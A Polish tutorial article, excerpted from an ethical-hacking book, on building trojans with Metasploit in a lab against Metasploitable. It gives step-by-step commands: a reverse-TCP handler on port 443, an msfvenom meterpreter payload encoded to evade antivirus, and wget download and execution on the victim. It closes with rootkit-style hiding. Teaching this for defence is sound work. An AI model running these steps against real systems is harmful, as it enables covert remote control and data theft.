Diversity w polskim IT
Bulldogjob
Bulldogjob

Praktyczne wprowadzenie do etycznego hackingu

Sprawdź, jak rozpocząć hakowanie w dobrej sprawie. Poznaj tajniki tworzenia złośliwego oprogramowania,
26.01.20238 min
Praktyczne wprowadzenie do etycznego hackingu

Niniejszy artykuł pochodzi z książki pt. „Etyczny haking. Praktyczne wprowadzenie do hakingu” Daniela Grahama (Helion 2022).

Tworzenie trojanów

Rzeczy nie zawsze są tym, czym się wydają; pierwsze spojrzenie potrafi zwieść; inteligencja nielicznych dostrzega to, co zostało starannie ukryte. — Fajdros

Rozważmy taki scenariusz: atakujący, podszywając się pod szefa IT, wysyła wiadomość e-mail do pracownika. Informuje ona ofiarę, aby pobrała zaktualizowaną wersję klienta poczty e-mail Alpine. Jednak bez wiedzy ofiary atakujący wbudował w program złośliwy kod. Kiedy ta zainstaluje klienta, instalator wpuści również taki kod.

Wszyscy etyczni hakerzy powinni rozumieć mechanizmy działania. Złośliwy kod ukryty w pliku nazywany jest trojanem. Zacznę od omówienia złośliwego oprogramowania Drovorub opracowanego przez rosyjski wywiad wojskowy (GRU) i odtworzenia jego ogólnego działania za pomocą Metasploita. Trojan, który został zaprojektowany dla systemów Linux, stanowi świetne studium przypadku dotyczące współczesnego złośliwego oprogramowania.

Z tego rozdziału dowiesz się, jak ukryć złośliwy kod w innym pliku i go zaciemnić (ang. obfuscate), aby uniknąć wykrycia za pomocą narzędzi takich jak msfvenom. Zdobędziesz również trochę praktycznych umiejętności w pisaniu niestandardowych modułów Metasploit. Stworzysz koder, który pomoże Twojemu implantowi uniknąć wykrycia przez oprogramowanie antywirusowe.

Po zapoznaniu się ze złośliwym oprogramowaniem dla systemów Linux i Windows pokażę Ci również, jak generować taki kod dla urządzeń z Androidem, by słuchać mikrofonu telefonu, robić zdjęcia za pomocą aparatu urządzenia, znajdować lokalizację telefonu, czytać i wysyłać wiadomości tekstowe, a także pobrać rejestr połączeń telefonu. W ćwiczeniu z tego rozdziału zbudujesz trojan, który może ukraść hasło ofiary poprzez rejestrowanie jej naciśnięć klawiszy. Przy okazji zrobi jej zdjęcie.

Studium przypadku: Odtworzenie działania Drovoruba za pomocą Metasploita

W 2020 roku NSA opublikowała raport analizujący Drovorub. W tej sekcji omówiono architekturę tego złośliwego oprogramowania, pokazaną na rysunku 10.1, a także opisano, w jaki sposób można zbudować coś podobnego za pomocą narzędzi typu open source, takich jak Meterpreter.

Rysunek 10.1. Architektura Drovorub opisana w raporcie NSA

Drovorub składa się z czterech kluczowych części: serwera atakującego, programu agenta atakującego, klienta i modułu jądra złośliwego oprogramowania (ang. malware). Gdy atakujący zhakuje komputer ofiary, instaluje klienta i moduł malware. Moduł jądra pomaga trojanowi uniknąć wykrycia poprzez zastąpienie funkcji wykrywania złośliwego oprogramowania systemu operacyjnego. W pewnym sensie jest to jak zasłanianie kamery zdjęciem pokoju. Klient malware komunikuje się z serwerem atakującego, który zarządza połączeniami z wielu maszyn i przechowuje informacje o każdym połączeniu w centralnej bazie danych, a także pozwala atakującemu kontrolować maszynę ofiary.

Możesz skonstruować coś podobnego do Drovoruba za pomocą narzędzi open source. Zrobimy to tutaj, korzystając z Metasploit Framework, kolekcji bibliotek oprogramowania typu open source, narzędzi hakerskich i kodu exploita. Społeczność etycznych hakerów regularnie przyczynia się do rozwoju Metasploita, więc jest to świetne narzędzie, które możesz posiadać w swoim zestawie narzędzi.

Budowanie serwera atakującego

Zacznijmy od skonfigurowania serwera atakującego, zwanego także serwerem dowodzenia i kontroli, który będzie akceptował połączenia z trojanów zainstalowanych na urządzeniach ofiary.

Oprogramowanie Metasploit Framework umożliwia hostowanie takiego serwera na niezależnej maszynie, ale będziemy go hostować bezpośrednio na naszej wirtualnej maszynie Kali Linux. Uruchom to polecenie, aby uzyskać adres IP komputera:

kali@kali:~$ ifconfig eth0


Zapisz ten adres; będziesz go potrzebować później.

Następnie musisz uruchomić serwer PostgreSQL, który jest preinstalowany w Kali Linux. PostgreSQL to baza danych, która będzie przechowywać metadane połączenia trojana.

kali@kali:~$ sudo service postgresql start


Teraz, gdy serwer działa, uruchom msfconsole, która umożliwia dostęp do funkcji Metasploit Framework. Metasploit powinien być preinstalowany w Kali Linux, więc nie należy go instalować samodzielnie. Uruchom msfconsole — otwórz terminal i wpisz polecenie:

kali@kali:~$ sudo msfconsole -q


Uruchomienie konsoli zajmie trochę czasu. Następnie wpisz poniższe polecenie, aby rozpocząć proces konfiguracji serwera:

msf> użyj exploita/multi/handler


Polecenie use pozwala wybrać moduły w Metasploit Framework. Moduły to programy, które wykonują określone zadania. Użyjemy modułów z folderu exploit/ multi, aby stworzyć serwer hakera. Te moduły działają jak serwer TCP, który opracowaliśmy w rozdziale 4. Będą nasłuchiwać połączeń od klientów.

Po wybraniu modułów skorzystaj z polecenia set, aby przypisać im wartości specyficzne dla kontekstu. Zacznij od ustawienia typu trojana, od którego serwer ma odbierać połączenia. Metasploit ma kilka typów trojanów dla systemów: Windows, Linux, iOS i Android. Będziemy atakować system Linux, więc wybieramy typy dla Linux x86. Uruchom takie polecenie, aby ustawić typ:

msf exploit (multi/hander) > set PAYLOAD linux/x86/meterpreter/reverse_tcp


Flaga PAYLOAD określa typ trojana. Ciekawostka: termin payload ma swoje korzenie w terminologii wojskowej, gdzie jest często używany w odniesieniu do zawartości bomby.

Następnie ustaw adres IP serwera — przekaż mu adres IP komputera Kali Linux:

msf exploit (multi/hander) > set LHOST <adres IP Kali>


LHOST oznacza host, który nasłuchuje połączenia. Teraz ustaw port, pod którym będziemy odbierać połączenia (LPORT):

msf exploit (multi/hander) > set LPORT 443


Wybraliśmy port 443, ponieważ jest powiązany z protokołem HTTPS i sprawia, że ruch sieciowy wydaje się mniej podejrzany. Niektóre trojany komunikują się nawet przez port protokołu DNS, aby uniknąć wzbudzania podejrzeń. Uruchom poniższe polecenie, aby uruchomić skonfigurowany serwer:

msf exploit (multi/hander) > exploit


Komenda exploit uruchamia moduł. Jeśli serwer został pomyślnie uruchomiony, zobaczysz takie dane wyjściowe:

[*] Started reverse TCP handler on <adres IP Kali>:443

Pozostaw ten terminal otwarty, aby serwer nadal działał.

Tworzenie klienta ofiary

Teraz stwórzmy trojan, który zainstalujemy na komputerze ofiary. Na pulpicie Kali Linux utwórz folder o nazwie Malware:

kali@kali:~$ mkdir ~/Desktop/Malware


Otwórz nowy terminal i uruchom poniższe polecenie, aby przejść do tego folderu:

kali@kali:~$ cd ~/Desktop/Malware


Użyjemy narzędzia msfvenom do stworzenia złośliwego oprogramowania. Uruchom polecenie, aby to zrobić:

kali@kali:~/Desktop/Malware$ sudo msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=<Kali IP address> LPORT=443 --smallest -i 4 -f elf -o malicious


Flaga -a reprezentuje docelową architekturę, w tym wypadku x86. Flaga --platform określa platformę docelową, a flaga -p określa payload, tu — odwróconą powłokę TCP, taką jak ta, którą zaimplementowaliśmy w rozdziale 4. Flaga --smallest generuje najmniejszy możliwy payload. Flaga -i pomaga nam uniknąć wykrycia przez oprogramowanie antywirusowe, co omówię później. Flaga -f przedstawia typ pliku, który musimy stworzyć. Wybraliśmy elf, ponieważ jest to typ pliku wykonywalnego Linuksa. (Format exe jest używany przez pliki wykonywalne systemu Windows). Flaga -o określa nazwę pliku wyjściowego.

Wgrywanie złośliwego oprogramowania

Złośliwy kod dostarczymy (…) pobierając go na zaatakowaną maszynę. Uruchom serwer Pythona w folderze Malware — w tym celu użyj polecenia:

kali@kali:~/Desktop/Malware/$ sudo python3 -m http.server 80


W poprzednich rozdziałach przyjrzeliśmy się kilku sposobom uzyskania dostępu do systemu. Dla uproszczenia, zamiast używać backdoora, jak robiliśmy wcześniej, założymy, że haker ukradł dane uwierzytelniające do systemu. Uruchom serwer Metasploitable i zaloguj się przy użyciu nazwy użytkownika msfadmin i hasła msfadmin. Następnie użyj narzędzia wget, aby pobrać złośliwe oprogramowanie:

msfadmin@metasploitable:~$ wget <adres IP Kali>:80/malicious


Spraw, aby był on wykonywalny (+x), za pomocą polecenia:

msfadmin@metasploitable:~$ sudo chmod +x malicious


Uruchom kod przy użyciu polecenia:

msfadmin@metasploitable:~$ sudo ./malicious &


Opcja & uruchamia proces w tle.

Otwórz terminal Kali z serwerem hakera. Jeśli złośliwe oprogramowanie zostało pomyślnie uruchomione, zobaczysz dane wyjściowe podobne do tych:

msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.107:443
[*] Sending stage (980808 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.107:443 -> 192.168.1.101:36592)
at 2022-11-10 15:02:15 -0500
meterpreter > 


Gratulacje. Zainstalowanie swojego pierwszego złośliwego oprogramowania masz już za sobą. Tak, to naprawdę takie proste. Teraz wejdźmy z nim w interakcję — za pomocą programu agenta.

Korzystanie z agenta atakującego

Agent obsługuje różne polecenia, które umożliwiają interakcję z trojanem. Na przykład możesz wyświetlić listę wszystkich plików na komputerze za pomocą polecenia ls. Poniżej widać interfejs agenta w Meterpreterze:

meterpreter > ls
Listing: /home/msfadmin
=======================
Mode              Size    Type   Last modified                Name
----              ----    ----   -------------                ----
20666/rw-rw-rw-   0       cha    2021-11-06 09:39:55 -0500    .bash_history
40755/rwxr-xr-x   4096    dir    2010-04-28 16:22:12 -0400    .distcc
40700/rwx------   4096    dir    2021-11-08 06:25:02 -0500    .gconf
                          …


Możesz pobrać lub edytować dowolny z tych plików za pomocą poleceń download i edit, a także wyświetlić listę wszystkich dostępnych poleceń — za pomocą polecenia help.

meterpreter > help
Core Commands
=============
        Command             Description
        -------             -----------
        ?                   Help menu
        background          Backgrounds the current session
        bg                  Alias for background
        bgkill              Kills a background meterpreter script
...


Możesz uzyskać dostęp do powłoki ofiary dzięki uruchomieniu polecenia shell:

meterpreter >shell
Process 13359 created.
Channel 1 created. 


Spróbuj wejść w interakcję z powłoką — skorzystaj z polecenia whoami. Po zakończeniu wpisz exit, aby powrócić do interfejsu Meterpretera.

Dlaczego potrzebujemy modułu jądra ofiary

Jeśli administrator systemu na naszej maszynie Metasploitable przegląda uruchomione procesy za pomocą takiego polecenia, zostaną wyświetlone poniższe informacje:

msfadmin@metasploitable:~$ ps au
USER     PID   %CPU  %MEM   VSZ    RSS   TTY    STAT START  TIME COMMAND
--------------------------------- snip ---------------------------------------
root     3771   0.0   0.0  1716    488   tty6   Ss+  Nov06  0:00  /sbin/getty 38400 tty6
root     4512   0.0   0.1  2852   1544   pts/0  Ss+  Nov06  0:00  -bash
root     4617   0.0   0.1  2568   1204   tty1   Ss   Nov06  0:00  /bin/login --
msfadmin 13073  0.0   0.1  4632   2040   tty1   S+   Nov08  0:00  -bash
msfadmin 13326  0.0   0.0  1128   1028   tty1   S    02:08  0:00  ./malicious ❶
msfadmin 13414  0.0   0.1  4580   1924   pts/1  Ss   02:58  0:00   -bash
msfadmin 13434  0.0   0.0  2644   1008   pts/1  R+   03:01  0:00   ps a 


Polecenie ps wyświetla wszystkie (a) procesy dla wszystkich użytkowników (u). To polecenie jest odpowiednikiem menedżera zadań w systemie Windows.

Jak widać, na liście pojawia się złośliwy program ❶. Jak hakerzy unikają jego wykrycia? Robią to za pomocą rootkita, oprogramowania, które zapewnia trojanowi dostęp do funkcjonalności jądra systemu operacyjnego, co jest najwyższym możliwym dostępem. Trojan może wykorzystać ten dostęp, aby stać się praktycznie niewykrywalny. Na przykład Meterpreter będzie próbował uniknąć wykrycia, udając inny proces. W systemie Windows możesz skorzystać z polecenia Meterpretera — migrate, aby ukryć złośliwy proces w innym procesie. 


*Artykuł stanowi fragment książki pt. „Etyczny haking. Praktyczne wprowadzenie do hakingu” Daniela Grahama (Helion 2022)

<p>Loading...</p>